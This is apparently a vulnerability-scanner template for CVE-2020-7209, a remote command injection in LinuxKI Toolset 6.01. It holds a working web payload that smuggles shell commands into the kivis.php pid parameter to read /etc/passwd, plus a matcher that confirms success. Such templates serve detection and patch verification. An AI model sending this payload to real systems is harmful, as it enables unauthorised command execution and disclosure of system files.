id: CVE-2020-7209

info:
  name: LinuxKI Toolset 6.01 Remote Command Execution
  author: dwisiswant0
  severity: critical
  tags: cve,cve2020,rce
  description: LinuxKI v6.0-1 and earlier is vulnerable to an remote code execution which is resolved in release 6.0-2.
  reference:
    http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
    http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
    https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2

  # This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.

  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
  # vendor: https://www.hpe.com/us/en/home.html
  # software: https://github.com/HewlettPackard/LinuxKI

requests:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body